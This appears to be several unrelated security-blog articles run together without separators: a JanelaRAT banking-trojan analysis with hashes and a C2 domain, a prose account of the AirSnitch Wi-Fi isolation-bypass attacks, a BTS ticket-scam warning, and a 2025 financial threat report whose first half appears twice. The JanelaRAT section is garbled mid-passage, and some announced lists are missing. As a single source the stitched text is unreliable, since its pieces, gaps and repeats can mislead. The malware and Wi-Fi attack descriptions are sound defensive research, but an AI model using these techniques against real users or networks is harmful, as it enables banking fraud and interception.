Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
Timer that looks for 10 minutes of inactivity
PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
<C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>
We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.
| Parameter | Description |
| VS | JanelaRAT version |
| PL | OFF by default |
| AN | Yes or No depending on whether banking security software process exists |
This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
| Action Performed | Description |
| Capture desktop image | Send compressed screenshots to the C2 |
| Specific screenshots | Crop specific screen regions and exfiltrate images |
| Overlay windows | Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials |
| Keylogging | Keystroke capture |
| Simulate keyboard | Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements |
| Track mouse input | Move the cursor, simulate clicks, and report the cursor position |
| Display message | Show message boxes (custom title, text, buttons, or icons) |
| System shutdown | Execute a forced shutdown sequence |
| Command execution | Run CMD or PowerShell scripts/commands |
| Task Manager manipulation |
Launch Task Manager, find its window, and hide it to prevent discovery by the user |
| Check for banking security software process | Detect the presence of anti-fraud systems |
| Beaconing | Send host information (malware version, profile, presence of banking software) |
| Toggle internal modes | Enable and disable modes such as screenshot flow, key injection, or overlay visibility |
| Anti-analysis | Detect sandbox or automation tools |
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.
The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
808c87015194c51d74356854dfb10d9e MSI Dropper
d7a68749635604d6d7297e4fa2530eb6 JanelaRAT
ciderurginsx[.]com Primary C2
At the NDSS Symposium 2026 in San Diego in February, a group of respected researchers presented a study unveiling the AirSnitch attack, which bypasses the Wi-Fi client isolation feature — also commonly known as guest network or device isolation. This attack allows connecting to a single wireless network via an access point, and then gaining access to other connected devices, including those using entirely different service set identifiers (SSIDs) on that same hardware. Targeted devices could easily be running on wireless subnets protected by WPA2 or WPA3 protocols. The attack doesn’t actually break encryption; instead, it exploits the way access points handle group keys and packet routing.
In practical terms, this means that a guest network provides very little in the way of real security. If your guest and employee networks are running on the same physical device, AirSnitch allows a connected attacker to inject malicious traffic into neighboring SSIDs. In some cases, they can even pull off a full-blown man-in-the-middle (MitM) attack.
Wi-Fi security is constantly evolving; every time a practical attack is made against the latest generation of protection, the industry shifts toward more complex algorithms and procedures. This cycle started with the FMS attacks used to crack WEP encryption keys, and continues to this day: recent examples include the KRACK attacks on WPA2, and the FragAttacks, which impacted every security protocol version from WEP all the way through WPA3.
Attacking modern Wi-Fi networks effectively (and quietly) is no small feat. Most professionals agree that using WPA2/WPA3 with complex keys and separating networks based on their purpose is usually enough for protection. However, only specialists really know that client isolation was never actually standardized within the IEEE 802.11 protocols. Different manufacturers implement isolation in completely different ways — using Layer 2 or Layer 3 of network architecture; in other words, handling it at either the router or the Wi-Fi controller level — meaning the behavior of isolated subnets varies wildly depending on your specific access point or router model.
While marketing claims that client isolation is perfect for keeping restaurant or hotel guests from attacking one another — or ensuring corporate visitors can’t access anything but the internet — in reality, isolation often relies on people not trying to hack it. This is exactly what the AirSnitch research highlights.
The name AirSnitch doesn’t just refer to a single vulnerability, but a whole family of architectural flaws found in Wi-Fi access points. It’s also the name of an open-source tool used to test routers for these specific weaknesses. However, security professionals need to keep in mind that there’s only a very thin line between testing and attacking.
The model for all these attacks is the same: a malicious client is connected to an access point (AP) where isolation is active. Other users — the targets — are connected to the same SSID or even different SSIDs on that same AP. This is a very realistic scenario; for example, a guest network might be open and unencrypted, or an attacker could simply get the guest Wi-Fi password by posing as a legitimate visitor.
For certain AirSnitch attacks, the attacker needs to know the victim’s MAC or IP address beforehand. Ultimately, how effective each attack is depends on the specific hardware manufacturer (more on that below).
After the WPA2/WPA3 handshake, the access point and the clients agree on a Group Transient Key (GTK) to handle broadcast traffic. In this scenario, the attacker wraps packets destined for a specific victim inside a broadcast traffic envelope. They then send these directly to the victim while spoofing the access point’s MAC address. This attack only allows for traffic injection, meaning the attacker won’t receive a response. However, even that is enough to deliver malicious ICMPv6 routing advertisements, or DNS and ARP messages to the client — effectively bypassing isolation. This is the most universal version of the attack working on any WPA2/WPA3 network that uses a shared GTK. That said, some enterprise-grade access points support GTK randomization for each individual client, which renders this specific method ineffective.
This version of the attack doesn’t even require the attacker to authenticate at the access point first. The attacker sends packets to the AP with a broadcast destination address (FF:FF:FF:FF:FF:FF) and the ToDS flag set to 1. As a result, many access points treat this packet as legitimate broadcast traffic; they encrypt it using the GTK, and blast it out to every client on the subnet, including the victim. Just like in the previous method, traffic specifically meant for a single victim can be pre-packaged inside.
This attack exploits an architectural gap between Layer 2 and Layer 3 security found in some manufacturers’ hardware. The attacker sends a packet to the access point, setting the victim’s IP address as the destination at the network layer (L3). However, at the wireless layer (L2), the destination is set to the access point’s own MAC address, so the isolation filter doesn’t trip. The routing subsystem (L3) then dutifully routes the packet back out to the victim, bypassing the L2 isolation entirely. Like the previous methods, this is another transmit-only attack where the attacker can’t see the reply.
The attacker connects to the network using a spoofed version of the victim’s MAC address, and floods the network with ARP responses claiming, “this MAC address is on my port and SSID”. The target network’s router updates its MAC tables, and starts sending the victim’s traffic to this new port instead. Consequently, traffic intended for the victim ends up with the attacker — even if the victim is connected to a completely different SSID.
In a scenario where the attacker connects via an open, unencrypted network, this means traffic meant for a client on a WPA2/WPA3-secured network is actually broadcast over the open air, where not only the attacker but anyone nearby can sniff it.
In this version, the attacker connects directly to the victim’s Wi-Fi adapter, and bombards it with ARP requests spoofing the access point’s MAC address. As a result, the victim’s computer starts sending its outgoing traffic to the attacker instead of the network. By running both stealing attacks simultaneously, an attacker can, in several scenarios, execute a full MitM attack.
By combining several of the techniques described above, a hacker can pull off some pretty serious moves:
To pull off these attacks effectively, a hacker needs a device capable of simultaneous data transmission and reception with both the victim’s adapter and the access point. In a real-world scenario, this usually means a laptop with two Wi-Fi adapters running specifically configured Linux drivers. It’s worth noting that the attack isn’t exactly silent: it requires a flood of ARP packets, it can cause brief Wi-Fi glitches when it starts, and network speeds might tank to around 10Mbps. Despite these red flags, it’s still very much a practical threat in many environments.
As part of the study, several enterprise and home access points and routers were put to the test. The list included products from Cisco, Netgear, Ubiquiti, Tenda, D-Link, TP-Link, LANCOM, and ASUS, as well as routers running popular community firmware like DD-WRT and OpenWrt. Every single device tested was vulnerable to at least some of the attacks described here. Even more concerning, the D-Link DIR-3040 and LANCOM LX-6500 were susceptible to every single variation of AirSnitch.
Interestingly, some routers were equipped with protective mechanisms that blocked the attacks, even though the underlying architectural flaws were still present. For example, the Tenda RX2 Pro automatically disconnects any client whose MAC address appears on two BSSIDs simultaneously, which effectively shuts down port stealing.
The researchers emphasize that any network administrator or IT security team serious about defense should test their own specific configurations. That’s the only way to pinpoint exactly which threats are relevant to your organization’s setup.
The threat is most immediate for organizations running guest and corporate Wi-Fi networks on the same access points without additional VLAN segmentation. There are also significant risks for companies using RADIUS with outdated settings or weak shared secrets for wireless authentication.
The bottom line is that we need to stop viewing client isolation on an access point as a real security measure, and start seeing it as just a convenience feature. Real security needs to be handled differently:
BTS, a global K-pop phenomenon, has recently made a comeback from an almost four-year hiatus: the members of the group were completing mandatory military service in South Korea. For this reason it comes as no surprise that cybercriminals have taken advantage of the band’s highly anticipated world-tour — ARIRANG — to launch a campaign of fake websites targeting fans eager to buy tickets.
We’ve identified at least 10 fraudulent domains that mimic the official pre‑sale pages for the band’s concerts in Argentina, Brazil, Chile, Colombia, France, Mexico, Peru, Portugal, and Spain — all created in early April. We explain how the scammers operate, and how to avoid buying fake tickets.
Due to the high demand for the world-tour tickets, some of the event organizers prepared additional measures to ensure there are no ticket scalpers. In Brazil, the ticketing services adopted a “pre‑booking” format: the user first makes an online reservation, and then pays in person at the box office. Although in essence a good idea, the change has caused confusion among fans and created an opportunity for criminals to commit fraud.
Scammers create pages that are nearly identical to the official ones, replicating the layout, design, and the entire purchasing journey. For ordinary users, the experience seems completely legitimate. The links to these websites are circulating on social media — mainly on Instagram.
In Brazil, victims are prompted to make payments via PIX — an instant payment system operated by the Central Bank of Brazil. In some cases, the sites even simulate a card‑payment option, but claim high demand or system errors to pressure users into choosing PIX. PIX payments are then directed to money mule accounts — making it difficult to recover the funds.
The scam is a perfect example of how social engineering works. It exploits a massive and highly engaged fanbase — leading many users to act impulsively. The fake “errors” that the website displays during payment create a sense of urgency and cause panic — the scammers are well aware of how quickly BTS tickets sell out. In addition, doubts about the new purchasing system established by the event organizers help criminals make fake websites even more convincing.
If you really want to get tickets to your favorite group’s concert but not fall victim to the scammers, it’s important to keep these basic cybersecurity rules in mind:
More on scams:
In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)
Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.
An example of a post offering a database
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)
